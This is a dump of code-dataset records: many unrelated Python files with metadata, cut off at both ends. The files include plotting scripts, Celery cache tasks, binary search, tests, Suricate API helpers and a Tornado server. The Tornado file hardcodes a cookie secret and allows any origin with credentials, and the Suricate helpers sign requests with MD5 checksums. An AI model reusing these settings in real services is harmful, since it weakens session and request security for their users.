plt.scatter(traningData[:,0], traningData[:,1], s=40, c=traningLabel)\r\n\r\n plt.show()\r\n\r\n","sub_path":"first/Perceptron.py","file_name":"Perceptron.py","file_ext":"py","file_size_in_byte":1476,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"183070707","text":"import pandas as pd\r\nimport numpy as np\r\ndf = pd.read_csv(\"100datasetT.csv\")\r\nprint(df.head())\r\ngenderDS = df['gender']\r\nvar = genderDS.groupby(genderDS).count()\r\nprint(var)\r\ngender = var.keys\r\nfrequency = var.values\r\ncount = len(frequency)\r\nypos = np.arange(0,count)\r\nimport matplotlib.pyplot as plt\r\nplt.bar(ypos,frequency,align='center',width=0.2,color=['yellow','red'])\r\nnames = ['FEMALE','MALE']\r\nx = range(len(names))\r\nplt.plot(x)\r\nplt.xticks(x, names)\r\n#plt.scatter(y)\r\nplt.title(\"No of MALE & FEMALE students in sois 2005 to 2010\")\r\nplt.xlabel(\"GENDER\")\r\nplt.ylabel(\"NO OF STUDENT\")\r\n#plt.xticks(branch)\r\nplt.show()\r\n","sub_path":"project_codes and datasets/gender.py","file_name":"gender.py","file_ext":"py","file_size_in_byte":625,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"491260081","text":"# -*- coding:utf-8 -*- \n\n\nimport json\nimport time\n\nfrom flask import current_app\n\nimport api.lib.cmdb.ci\nfrom api.extensions import celery\nfrom api.extensions import db\nfrom api.extensions import es\nfrom api.extensions import rd\nfrom api.lib.cmdb.const import CMDB_QUEUE\nfrom api.lib.cmdb.const import REDIS_PREFIX_CI\nfrom api.lib.cmdb.const import REDIS_PREFIX_CI_RELATION\nfrom api.models.cmdb import CIRelation\n\n\n@celery.task(name=\"cmdb.ci_cache\", queue=CMDB_QUEUE)\ndef ci_cache(ci_id):\n time.sleep(0.01)\n db.session.close()\n\n m = api.lib.cmdb.ci.CIManager()\n ci = m.get_ci_by_id_from_db(ci_id, need_children=False, use_master=False)\n if current_app.config.get(\"USE_ES\"):\n es.create_or_update(ci_id, ci)\n else:\n rd.create_or_update({ci_id: json.dumps(ci)}, REDIS_PREFIX_CI)\n\n current_app.logger.info(\"{0} flush..........\".format(ci_id))\n\n\n@celery.task(name=\"cmdb.ci_delete\", queue=CMDB_QUEUE)\ndef ci_delete(ci_id):\n current_app.logger.info(ci_id)\n\n if current_app.config.get(\"USE_ES\"):\n es.delete(ci_id)\n else:\n rd.delete(ci_id, REDIS_PREFIX_CI)\n\n current_app.logger.info(\"{0} delete..........\".format(ci_id))\n\n\n@celery.task(name=\"cmdb.ci_relation_cache\", queue=CMDB_QUEUE)\ndef ci_relation_cache(parent_id, child_id):\n db.session.close()\n\n children = rd.get([parent_id], REDIS_PREFIX_CI_RELATION)[0]\n children = json.loads(children) if children is not None else {}\n\n cr = CIRelation.get_by(first_ci_id=parent_id, second_ci_id=child_id, first=True, to_dict=False)\n if str(child_id) not in children:\n children[str(child_id)] = cr.second_ci.type_id\n\n rd.create_or_update({parent_id: json.dumps(children)}, REDIS_PREFIX_CI_RELATION)\n\n current_app.logger.info(\"ADD ci relation cache: {0} -> {1}\".format(parent_id, child_id))\n\n\n@celery.task(name=\"cmdb.ci_relation_delete\", queue=CMDB_QUEUE)\ndef ci_relation_delete(parent_id, child_id):\n children = rd.get([parent_id], REDIS_PREFIX_CI_RELATION)[0]\n children = json.loads(children) if children is not None else {}\n\n if str(child_id) in children:\n children.pop(str(child_id))\n\n rd.create_or_update({parent_id: json.dumps(children)}, REDIS_PREFIX_CI_RELATION)\n\n current_app.logger.info(\"DELETE ci relation cache: {0} -> {1}\".format(parent_id, child_id))\n","sub_path":"cmdb-api/api/tasks/cmdb.py","file_name":"cmdb.py","file_ext":"py","file_size_in_byte":2307,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"654449458","text":"from marshmallow import Schema, fields, post_load\nfrom ..resource import Resource\nfrom collections import namedtuple\n\n\nclass Subscription(Resource):\n \"\"\"\n https://dev.chartmogul.com/v1.0/reference#list-customer-subscriptions\n \"\"\"\n _path = \"/customers{/uuid}/subscriptions\"\n _root_key = 'entries'\n _many = namedtuple('Subscriptions', [_root_key, \"has_more\", \"per_page\", \"page\"])\n\n class _Schema(Schema):\n id = fields.Int()\n plan = fields.String()\n quantity = fields.Int()\n mrr = fields.Number()\n arr = fields.Number()\n status = fields.String()\n billing_cycle = fields.String(load_from='billing-cycle')\n billing_cycle_count = fields.Number(load_from='billing-cycle-count')\n start_date = fields.DateTime(load_from='start-date')\n end_date = fields.DateTime(load_from='end-date')\n currency = fields.String()\n currency_sign = fields.String(load_from='currency-sign')\n\n @post_load\n def make(self, data):\n return Subscription(**data)\n\n _schema = _Schema(strict=True)\n","sub_path":"chartmogul/api/subscription.py","file_name":"subscription.py","file_ext":"py","file_size_in_byte":1092,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"289049595","text":"#!/usr/bin/env python3\n# encoding: utf-8\n\ndef binary_search_recursive(seq, key):\n\tdef aux(lo, hi):\n\t\tif lo > hi:\n\t\t\traise ValueError('{} is not in seq'.format(key))\n\t\t\n\t\tmid = (lo+hi)//2\n\t\tmid_val = seq[mid]\n\t\t\n\t\tif mid_val == key:\n\t\t\treturn mid # found\n\t\tif mid_val < key:\n\t\t\treturn aux(mid+1, hi) # search upper half\n\t\tif mid_val > key:\n\t\t\treturn aux(lo, mid-1) # search lower half\n\t\t\n\treturn aux(0, len(seq)-1)\n\n\ndef binary_search_iterative(seq, key):\n\tlo, hi = 0, len(seq)-1\n\t\n\twhile lo <= hi:\n\t\tmid = (lo+hi)//2\n\t\tmid_val = seq[mid]\n\t\t\n\t\tif mid_val == key:\n\t\t\treturn mid\n\t\tif mid_val < key:\n\t\t\tlo = mid + 1\n\t\tif mid_val > key:\n\t\t\thi = mid - 1\n\t# lo > hi\n\traise ValueError('{} is not in seq'.format(key))\n","sub_path":"binary_search.py","file_name":"binary_search.py","file_ext":"py","file_size_in_byte":709,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"126661156","text":"import pandas as pd, glob\n\n# df = pd.read_csv('C:\\\\Temp\\\\workspace\\\\BI_Workspace\\\\Scratchpad\\\\pandas\\\\sbpld10wm052_hodreport_20190423_2359.txt',sep=' ', skipinitialspace=True, header=0)\n# df = pd.concat([pd.read_csv(f, sep=' ', skipinitialspace=True, skiprows=0) for f in glob.glob('C:\\\\Temp\\\\workspace\\\\BI_Workspace\\\\Scratchpad\\\\pandas\\\\files\\\\sb*.txt.gz')], ignore_index = True)\ndf = pd.concat([pd.read_csv(f, skipinitialspace=True, skiprows=0, delim_whitespace=True, names=[\"Date\",\"Time\",\"LoginID\"]) for f in glob.glob('C:\\\\Temp\\\\workspace\\\\BI_Workspace\\\\Scratchpad\\\\pandas\\\\files\\\\sb*.txt.gz')], ignore_index = True)\ndf.drop_duplicates(inplace=True)\ndf.drop(df[df['Date']=='Date'].index, inplace=True)\ndf['JustTime'] = df.Time.str.rsplit(':',n=1,expand=True)[0]\ndf['LoginTime'] = df.Date.str.cat(df.JustTime, sep=' ')\ndf.drop(\"JustTime\", axis=1, inplace=True)\ndf.LoginTime = pd.to_datetime(df.LoginTime, format='%m/%d/%y %H:%M:%S')\ndf['UserName']=df.LoginID.str.split('@',n=1,expand=True)[0].str.upper()\ndf['AD']=df.LoginID.str.split('@',expand=True)[1].str.split('\\.',expand=True)[0].str.upper()\n\n\n","sub_path":"tests/python/pandas/HoDCSV.py","file_name":"HoDCSV.py","file_ext":"py","file_size_in_byte":1104,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"519885234","text":"# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nfrom django.db import models, migrations\nimport sticky_files.fields\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('app', '0001_initial'),\n ]\n\n operations = [\n migrations.AlterField(\n model_name='photogallery',\n name='file',\n field=sticky_files.fields.StickyFileField(related_name='galleries_single_files', to='app.GalleryFile'),\n ),\n migrations.AlterField(\n model_name='photogallery',\n name='main_image',\n field=sticky_files.fields.StickyImageField(related_name='galleries_main_images', to='app.GalleryImage'),\n ),\n ]\n","sub_path":"sampleproject/app/migrations/0002_auto_20151018_0759.py","file_name":"0002_auto_20151018_0759.py","file_ext":"py","file_size_in_byte":712,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"291353750","text":"#!/usr/bin/env python\n#\nimport pytest\nimport femagtools.grid\nimport femagtools.parstudy\nimport numpy as np\nimport functools\n\n\ndef test_create_parameter_range():\n x = [(1, 2, 3), (4, 5), (6, 7)]\n\n r = femagtools.grid.create_parameter_range(x)\n\n assert r.tolist() == [[1, 4, 6],\n [2, 4, 6],\n [3, 4, 6],\n [1, 5, 6],\n [2, 5, 6],\n [3, 5, 6],\n [1, 4, 7],\n [2, 4, 7],\n [3, 4, 7],\n [1, 5, 7],\n [2, 5, 7],\n [3, 5, 7]]\n\n\n@pytest.fixture\ndef decision_vars():\n return [\n {\"steps\": 3, \"bounds\": [-50, 0],\n \"name\": \"angl_i_up\", \"label\":\"Beta\"},\n {\"steps\": 3, \"bounds\": [100, 200],\n \"name\": \"current\", \"label\":\"Current/A\"}\n ]\n\n\ndef test_baskets():\n x = list(range(5))*5\n baskets = femagtools.parstudy.baskets(x, 5)\n\n for i, p in enumerate(baskets):\n assert p == [0, 1, 2, 3, 4]\n assert i == 4\n\n\ndef test_report(decision_vars):\n objective_vars = [\n {\"name\": \"dqPar.torque[-1]\",\n \"label\": \"Load Torque/Nm\"},\n {\"name\": \"torque[-1].ripple\",\n \"label\": \"Torque Ripple/Nm\"},\n {\"name\": \"machine.plfe[-1]\",\n \"label\": \"Iron Losses/W\"}\n ]\n\n shape = [len(objective_vars)] + [d['steps'] for d in decision_vars]\n a = [0]*len(objective_vars)*functools.reduce(\n (lambda x, y: x * y), [d['steps'] for d in decision_vars])\n objectives = np.reshape(a, shape)\n\n expected = [[d['label'] for d in decision_vars] +\n [o['label'] for o in objective_vars] + ['Directory'],\n [d['name'] for d in decision_vars] +\n [o['name'] for o in objective_vars],\n [-50.0, 100.0, 0.0, 0.0, 0.0, 0],\n [-25.0, 100.0, 0.0, 0.0, 0.0, 1],\n [-0.0, 100.0, 0.0, 0.0, 0.0, 2],\n [-50.0, 150.0, 0.0, 0.0, 0.0, 3],\n [-25.0, 150.0, 0.0, 0.0, 0.0, 4],\n [-0.0, 150.0, 0.0, 0.0, 0.0, 5],\n [-50.0, 200.0, 0.0, 0.0, 0.0, 6],\n [-25.0, 200.0, 0.0, 0.0, 0.0, 7],\n [-0.0, 200.0, 0.0, 0.0, 0.0, 8]]\n\n domain = [list(np.linspace(d['bounds'][0], d['bounds'][1], d['steps']))\n for d in decision_vars]\n par_range = femagtools.grid.create_parameter_range(domain)\n assert expected == femagtools.parstudy.get_report(decision_vars,\n objective_vars, objectives,\n par_range)\n\n\ndef test_sobol(decision_vars):\n parvar = femagtools.parstudy.Sobol('.')\n N = 4\n n, d, r = parvar._get_names_and_range(decision_vars, N)\n assert [d['name'] for d in decision_vars] == n\n assert r.shape == (N, len(decision_vars))\n\n\ndef test_lhs(decision_vars):\n parvar = femagtools.parstudy.LatinHypercube('.')\n N = 4\n n, d, r = parvar._get_names_and_range(decision_vars, N)\n assert [d['name'] for d in decision_vars] == n\n assert r.shape == (N, len(decision_vars))\n","sub_path":"src/tests/test_parstudy.py","file_name":"test_parstudy.py","file_ext":"py","file_size_in_byte":3200,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"20484426","text":"# -*- coding: utf-8 -*-\nimport requests\nfrom bs4 import BeautifulSoup\n\nurl = 'https://th.wikipedia.org/wiki/กระทรวงในประเทศไทย'\n\nr = requests.get(url)\ndata = r.text\nsoup = BeautifulSoup(data,'html.parser')\ndiv = soup.find('all')\nprint(div)","sub_path":"test2.py","file_name":"test2.py","file_ext":"py","file_size_in_byte":275,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"169729299","text":"import asyncio\nimport getopt\nimport sys\nimport bugsnag\nimport json\n\nfrom loguru import logger\nfrom dynaconf import settings\nfrom utils.Database import Database\nfrom utils.Queue import Queue\n\n# Get DB instance\nDB = Database.instance()\n\n\nclass ShopifyUserPublisher:\n\n def publish(self, task):\n queue = Queue(url=settings.QUEUE.RabbitMQ.URL)\n\n # Get event loop\n loop = asyncio.get_event_loop()\n\n # Get users with Shopify token\n users = DB.users.find({\n 'settings.shopify_creds.token': {'$exists': True},\n })\n\n for user in users:\n try:\n shopify_domain = user['settings']['shopify_creds'].get('domain', '').split('.myshopify.com')[0]\n except Exception as e:\n logger.critical(\"{user_id} | Shopify domain not found\", user_id=user['_id'])\n continue\n\n # Publish first message to actual task queue\n target_queue = f\"DEBUG::Shopify.{user['_id']}.{shopify_domain}\"\n target_queue_message = {'task': task, 'user_id': user['_id']}\n\n loop.run_until_complete(queue.connect(target=target_queue, loop=loop))\n loop.create_task(queue.publish(routing_key=target_queue, message=json.dumps(target_queue_message)))\n\n # Publish second message to pending tasks queue\n pending_tasks_queue = settings.SHOPIFY.Queue.PendingTasks\n pending_tasks_queue_message = {'task': task, 'target': target_queue}\n\n loop.run_until_complete(queue.connect(target=pending_tasks_queue, loop=loop))\n loop.create_task(queue.publish(routing_key=pending_tasks_queue, message=json.dumps(pending_tasks_queue_message)))\n\n loop.run_until_complete(queue.shutdown())\n\n # Close the loop\n loop.close()\n\n\ndef main(task):\n try:\n file = settings.APP.Tasks[task]\n except Exception as e:\n return logger.critical(f\"{e} | Task is undefined\")\n\n # Initiate ShopifyUserPublisher\n shopify_user_publisher = ShopifyUserPublisher()\n\n # Publish to queues\n shopify_user_publisher.publish(task)\n\nif __name__ == \"__main__\":\n # Bugsnag for error reporting\n bugsnag.configure(api_key=settings.APP.Bugsnag.Key)\n\n try:\n opts, args = getopt.getopt(sys.argv[1:], 'hm:d', ['help', 'task='])\n except getopt.GetoptError as err:\n print(str(err))\n\n for o, a in opts:\n if o in (\"-t\", \"--task\"):\n task = a\n else:\n assert False, \"Unhandled option\"\n\n main(task=task)\n","sub_path":"src/ShopifyUserPublisher.py","file_name":"ShopifyUserPublisher.py","file_ext":"py","file_size_in_byte":2534,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"247659569","text":"\"\"\"Utils for raise_gabcap.\"\"\"\n# Author: Jakub Kaczmarzyk \nimport logging\nimport sys\n\n# Create a logger to display the script's progress.\nlogger = logging.getLogger('raise_gabcap')\nlogger.setLevel(logging.DEBUG)\nch = logging.StreamHandler(sys.stdout) # Print to console.\nch.setLevel(logging.DEBUG) # Default logging level. Override with set_log_level\nformatter = logging.Formatter('%(message)s')\nch.setFormatter(formatter)\nlogger.addHandler(ch)\n\n\ndef set_log_level(level):\n \"\"\"Set logging level.\n\n level: {'debug', 'info', 'warning', 'error', 'critical}\n The level at which to print messages. Case-insensitive.\n \"\"\"\n logging_levels = {'DEBUG': logging.DEBUG,\n 'INFO': logging.INFO,\n 'WARNING': logging.WARNING,\n 'ERROR': logging.ERROR,\n 'CRITICAL': logging.CRITICAL}\n try:\n level = logging_levels[level.upper()]\n logger.setLevel(level)\n except KeyError:\n raise ValueError(\"invalid level '{}'\".format(level))\n","sub_path":"raise_gabcap/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":1055,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"168890351","text":"\nimport json\n\n# json 字符串必须是双引号,最外层用单引号,是因为里面用了双引号;\njson_str = '{\"name\":\"qiyue\", \"age\": 18, \"flag\": false}'\n\n# 反序列化\ns1 = json.loads(json_str)\n# print(type(s1)) 返回字典dict\n# print(s1)\n# print(s1['name'])\n\n\n# 序列化\ns2 = [{\"name\": \"qiyue\", \"age\": 18}, {\"flag\": False, \"gender\": \"male\"}]\ns3 = {'name': 'qiyu', 'age': 18}\nj1 = json.dumps(s3, indent=2)\nprint(type(j1))\nprint(s1['name'])","sub_path":"test_items/class_file/json_file.py","file_name":"json_file.py","file_ext":"py","file_size_in_byte":459,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"394170009","text":"import json\nimport logging\nimport urllib.parse\nfrom hashlib import md5\n\nimport requests\nfrom django.conf import settings\nfrom django.core.mail import mail_managers\nfrom django.template.loader import render_to_string\nfrom django.utils.translation import gettext_lazy as _\n\nlogger = logging.getLogger(__name__)\n\n\nclass SuricateRequestManager:\n\n URL = None\n ID_ORIGIN = None\n PRIVATE_KEY_CLIENT_SERVER = None\n PRIVATE_KEY_SERVER_CLIENT = None\n CHECK_CLIENT = None\n CHECK_SERVER = None\n\n USE_AUTH = None\n AUTH = None\n\n def check_response_integrity(self, response, id_alert=\"\"):\n if response.status_code not in [200, 201]:\n raise Exception(\n f\"Failed to access Suricate API - Status code: {response.status_code}\"\n )\n else:\n data = json.loads(response.content.decode())\n if \"code_ok\" in data and not bool(data[\"code_ok\"]):\n raise Exception(\n f\"Unsuccesful request on Suricate API: [{data['error']['code']} - {data['error']['message']}]\"\n )\n return data\n # THIS SHOULD BE A THING but the documentation is at war with the API\n # else:\n # if id_alert:\n # check = self.PRIVATE_KEY_SERVER_CLIENT\n # else:\n # check = md5((self.PRIVATE_KEY_CLIENT_SERVER + id_alert + self.ID_ORIGIN).encode()).hexdigest()\n # if check != data[\"check\"]:\n # raise Exception(f\"Integrity of Suricate response compromised: expected checksum {check}, got checksum {data['check']}\")\n\n def get_from_suricate_no_integrity_check(self, endpoint, url_params={}):\n # Build ever-present URL parameter\n origin_param = f\"?id_origin={self.ID_ORIGIN}\"\n # Add specific URL parameters\n extra_url_params = urllib.parse.urlencode(url_params)\n # Include alert ID in check when needed\n if \"uid_alerte\" in url_params:\n id_alert = url_params[\"uid_alerte\"]\n check = f\"&check={md5((self.PRIVATE_KEY_CLIENT_SERVER + id_alert + self.ID_ORIGIN).encode()).hexdigest()}\"\n else:\n check = self.CHECK_CLIENT\n # If HTTP Auth required, add to request\n if self.USE_AUTH:\n response = requests.get(\n f\"{self.URL}{endpoint}{origin_param}{extra_url_params}{check}\",\n auth=self.AUTH,\n )\n else:\n response = requests.get(\n f\"{self.URL}{endpoint}{origin_param}{extra_url_params}{check}\",\n )\n return response\n\n def get_from_suricate(self, endpoint, url_params={}):\n response = self.get_from_suricate_no_integrity_check(endpoint, url_params)\n return self.check_response_integrity(response)\n\n def post_to_suricate(self, endpoint, params):\n # If HTTP Auth required, add to request\n if self.USE_AUTH:\n response = requests.post(\n f\"{self.URL}{endpoint}\",\n params,\n auth=self.AUTH,\n )\n else:\n response = requests.post(f\"{self.URL}{endpoint}\", params)\n\n if response.status_code not in [200, 201]:\n raise Exception(f\"Failed to post on Suricate API - status code {response.status_code}\")\n\n def print_response_OK_or_KO(self, response):\n if response.status_code not in [200, 201]:\n print(f\"KO - Status code: {response.status_code}\")\n else:\n data = json.loads(response.content.decode())\n if \"code_ok\" in data and not bool(data[\"code_ok\"]):\n print(f\"KO: [{data['error']['code']} - {data['error']['message']}]\")\n elif \"code_ok\" in data and bool(data[\"code_ok\"]):\n print(\"OK\")\n\n def test_suricate_connection(self):\n response = self.get_from_suricate_no_integrity_check(endpoint=\"wsGetActivities\")\n self.print_response_OK_or_KO(response)\n\n\nclass SuricateStandardRequestManager(SuricateRequestManager):\n\n URL = settings.SURICATE_REPORT_SETTINGS[\"URL\"]\n ID_ORIGIN = settings.SURICATE_REPORT_SETTINGS[\"ID_ORIGIN\"]\n PRIVATE_KEY_CLIENT_SERVER = settings.SURICATE_REPORT_SETTINGS[\n \"PRIVATE_KEY_CLIENT_SERVER\"\n ]\n PRIVATE_KEY_SERVER_CLIENT = settings.SURICATE_REPORT_SETTINGS[\n \"PRIVATE_KEY_SERVER_CLIENT\"\n ]\n CHECK_CLIENT = (\n f\"&check={md5((PRIVATE_KEY_CLIENT_SERVER + ID_ORIGIN).encode()).hexdigest()}\"\n )\n CHECK_SERVER = md5((PRIVATE_KEY_SERVER_CLIENT + ID_ORIGIN).encode()).hexdigest()\n\n USE_AUTH = \"AUTH\" in settings.SURICATE_REPORT_SETTINGS.keys()\n AUTH = settings.SURICATE_REPORT_SETTINGS[\"AUTH\"] if USE_AUTH else None\n\n\nclass SuricateGestionRequestManager(SuricateRequestManager):\n\n URL = settings.SURICATE_MANAGEMENT_SETTINGS[\"URL\"]\n ID_ORIGIN = settings.SURICATE_MANAGEMENT_SETTINGS[\"ID_ORIGIN\"]\n PRIVATE_KEY_CLIENT_SERVER = settings.SURICATE_MANAGEMENT_SETTINGS[\n \"PRIVATE_KEY_CLIENT_SERVER\"\n ]\n PRIVATE_KEY_SERVER_CLIENT = settings.SURICATE_MANAGEMENT_SETTINGS[\n \"PRIVATE_KEY_SERVER_CLIENT\"\n ]\n CHECK_CLIENT = (\n f\"&check={md5((PRIVATE_KEY_CLIENT_SERVER + ID_ORIGIN).encode()).hexdigest()}\"\n )\n CHECK_SERVER = md5((PRIVATE_KEY_SERVER_CLIENT + ID_ORIGIN).encode()).hexdigest()\n\n USE_AUTH = \"AUTH\" in settings.SURICATE_MANAGEMENT_SETTINGS.keys()\n AUTH = settings.SURICATE_MANAGEMENT_SETTINGS[\"AUTH\"] if USE_AUTH else None\n\n\ndef test_suricate_connection():\n print(\"API Standard :\")\n SuricateStandardRequestManager().test_suricate_connection()\n print(\"API Gestion :\")\n SuricateGestionRequestManager().test_suricate_connection()\n\n\ndef send_report_to_managers(report, template_name=\"feedback/report_email.html\"):\n subject = _(\"Feedback from {email}\").format(email=report.email)\n message = render_to_string(template_name, {\"report\": report})\n mail_managers(subject, message, fail_silently=False)\n\n\ndef send_reports_to_managers(template_name=\"feedback/reports_email.html\"):\n subject = _(\"New reports from Suricate\")\n message = render_to_string(template_name)\n mail_managers(subject, message, fail_silently=False)\n\n\nclass SuricateMessenger():\n\n def __init__(self):\n self.standard_manager = SuricateStandardRequestManager()\n self.gestion_manager = SuricateGestionRequestManager()\n\n def post_report(self, report):\n manager = self.standard_manager\n check = md5(\n (manager.PRIVATE_KEY_CLIENT_SERVER + report.email).encode()\n ).hexdigest()\n \"\"\"Send report to Suricate Rest API\"\"\"\n activity_id = report.activity.suricate_id if report.activity is not None else None\n category_id = report.category.suricate_id if report.category is not None else None\n magnitude_id = report.problem_magnitude.suricate_id if report.problem_magnitude is not None else None\n params = {\n \"id_origin\": manager.ID_ORIGIN,\n \"id_user\": report.email,\n \"lat\": report.geom.y,\n \"long\": report.geom.x,\n \"report\": report.comment,\n \"activite\": activity_id,\n \"nature_prb\": category_id,\n \"ampleur_prb\": magnitude_id,\n \"check\": check,\n \"os\": \"linux\",\n \"version\": settings.VERSION,\n }\n manager.post_to_suricate(\"wsSendReport\", params)\n\n # TODO use in workflow\n # def lock_alert(self, id_alert):\n # \"\"\"Lock report on Suricate Rest API\"\"\"\n # return self.gestion_manager.get_from_suricate(\n # \"wsLockAlert\", extra_url_params={\"uid_alerte\": id_alert}\n # )\n\n # def unlock_alert(self, id_alert):\n # \"\"\"Unlock report on Suricate Rest API\"\"\"\n # return self.gestion_manager.get_from_suricate(\n # \"wsUnlockAlert\", url_params={\"uid_alerte\": id_alert}\n # )\n\n # def post_message(self, message, id_alert):\n # \"\"\"Send message to sentinel through Suricate Rest API\"\"\"\n # check = md5(\n # (self.PRIVATE_KEY_CLIENT_SERVER + self.ID_ORIGIN + id_alert).encode()\n # ).hexdigest()\n # params = {\n # \"id_origin\": self.ID_ORIGIN,\n # \"uid_alerte\": id_alert,\n # \"message\": message,\n # \"check\": check,\n # }\n\n # self.gestion_manager.post_to_suricate(\"wsSendMessageSentinelle\", params)\n\n # def update_status(self, id_alert, new_status, message):\n # \"\"\"Update status for given report on Suricate Rest API\"\"\"\n # check = md5(\n # (self.PRIVATE_KEY_CLIENT_SERVER + self.ID_ORIGIN + id_alert).encode()\n # ).hexdigest()\n\n # params = {\n # \"id_origin\": self.ID_ORIGIN,\n # \"uid_alerte\": id_alert,\n # \"statut\": new_status,\n # \"txt_changestatut\": message,\n # \"check\": check,\n # }\n # self.gestion_manager.post_to_suricate(\"wsUpdateStatus\", params)\n\n # def update_gps(self, id_alert, gps_lat, gps_long):\n # \"\"\"Update report GPS coordinates on Suricate Rest API\"\"\"\n # self.gestion_manager.get_from_suricate(\n # \"wsUpdateStatus\",\n # url_params={\n # \"uid_alerte\": id_alert,\n # \"gpslatitude\": gps_lat,\n # \"gpslongitude\": gps_long,\n # },\n # )\n\n # def message_sentinel(self, id_alert, message):\n # check = md5(\n # (self.PRIVATE_KEY_CLIENT_SERVER + self.ID_ORIGIN + id_alert).encode()\n # ).hexdigest()\n # \"\"\"Send report to Suricate Rest API\"\"\"\n # params = {\n # \"id_origin\": self.ID_ORIGIN,\n # \"uid_alerte\": id_alert,\n # \"message\": message,\n # \"check\": check,\n # }\n\n # self.gestion_manager.post_to_suricate(\"wsSendMessageSentinelle\", params)\n","sub_path":"geotrek/feedback/helpers.py","file_name":"helpers.py","file_ext":"py","file_size_in_byte":9830,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"197548309","text":"\"\"\"\n启动文件\n\"\"\"\n\nimport tornado.ioloop\nimport tornado.web\nfrom api import User, Login, Email, Paper, Upload, AlipayHandler, WeChatPayHandler, OrderPayRes\nfrom common.log import Lzlog\nfrom common.database import Database_Impl\nimport os\n\n\nclass StaticHandler(tornado.web.StaticFileHandler):\n\n def set_default_headers(self):\n self.set_header(\"Access-Control-Allow-Origin\", \"*\")\n self.set_header(\"Access-Control-Allow-Credentials\", \"true\")\n self.set_header(\"Access-Control-Allow-Headers\", \"x-requested-with\")\n self.set_header('Access-Control-Allow-Methods', 'POST, GET, OPTIONS, PUT, DELETE')\n\n def options(self, *args, **kwargs):\n pass\n\n\nclass Index(tornado.web.RequestHandler):\n def get(self, *args, **kwargs):\n self.redirect(\"index.html\")\n\n\nsettings = {\n \"cookie_secret\": \"bZJc2sWbQLKos6GkHn/VB9oXwQt8S0R0kRvJ5/xJ89E=\",\n \"login_url\": \"/login\",\n \"static_path\": \"static\"\n}\n\nif __name__ == '__main__':\n current_path = os.path.dirname(__file__) # 上一层目录\n app = tornado.web.Application([\n (r'/', Index),\n (r'/user', User),\n (r'/login', Login),\n (r'/verification', Email),\n (r'/paper', Paper),\n (r'/upload', Upload),\n (r'/alipay', AlipayHandler),\n (r'/wechatpay', WeChatPayHandler),\n (r'/order_status', OrderPayRes),\n (r\"/(.*)\", StaticHandler, {\"path\": os.path.join(current_path, \"static\")})\n ], **settings)\n port = 1122\n app.listen(port)\n Lzlog.info(\"service start at http://0.0.0.0:%d\" % port)\n\n drop_all = False\n # drop_list = [Paper_Module.__table__]\n drop_list = []\n if not drop_all and drop_list:\n print(\"重建部分表 %s\" % [i.name for i in drop_list])\n Database_Impl.drop_all(drop_list)\n Database_Impl.create_all(drop_list)\n elif drop_all:\n print(\"重建所有表\")\n Database_Impl.drop_all([])\n Database_Impl.create_all([])\n tornado.ioloop.IOLoop.current().start()\n","sub_path":"back/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1991,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"21617492","text":"#!/usr/bin/env python\n\nimport sys\nimport diff_classifier.knotlets as kn\n\nto_track = []\nresult_futures = {}\n\nremote_folder = '08_28_18_varying_PEG_redo' #Folder in AWS S3 containing files to be analyzed\nbucket = 'evanepst.data'\nvids = 10\ncovers = ['COOH', 'pt10xs', 'pt15xs', 'pt25xs', 'pt40xs']\nfor cover in covers:\n for num in range(1, vids+1):\n #to_track.append('100x_0_4_1_2_gel_{}_bulk_vid_{}'.format(vis, num))\n to_track.append('3mM_100_{}_XY{}'.format(cover, '%02d' % num))\n\nfor prefix in to_track[int(sys.argv[1]):int(sys.argv[2])]:\n kn.assemble_msds(prefix, remote_folder, bucket=bucket)\n print('Successfully output msds for {}'.format(prefix))","sub_path":"notebooks/assemble_msds.py","file_name":"assemble_msds.py","file_ext":"py","file_size_in_byte":675,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"424641488","text":"import time\nfrom functions import *\nfrom tkinter import *\n\n\"\"\" These are the classes which are the structures for different objects in the game \"\"\"\n\nclass Actor():\n\tdef __init__(self):\n\t\tself.name = 'Blank_name'\n\t\tself.inv = []\n\t\tself.stats = {\n\t\t\t'special': {'str':0, 'per':0, 'end':0, 'cha':0, 'int':0, 'agi':0, 'luc':0},\n\t\t\t'health': {'curh':0, 'maxh':0},\n\t\t\t'level': {'exp':0,'lvl':0,'nxt_lvl':0, 'nxt_exp':0}\n\t\t}\n\n\t\tself.stats['special'] = {'str':1, 'per':1, 'end':1, 'cha':1, 'int':1, 'agi':1, 'luc':1}\n\t\tself.calc_stats()\n\n\tdef calc_stats(self):\n\t\tcur_maxh = self.stats['health']['maxh']\n\t\tcur_curh = self.stats['health']['curh']\n\t\tnew_maxh = self.stats['special']['str'] * 8\n\t\tnew_curh = cur_curh + (new_maxh - cur_maxh)\n\t\tself.stats['health'] = {'maxh': new_maxh, 'curh': new_curh}\n\n\"\"\"The room class. Rooms will for maps which will be assigned to levels. The rooms will determine the story. \"\"\"\n\nclass Room():\n\tdef __init__(self, name, des, exits, items):\n\t\tself.name = 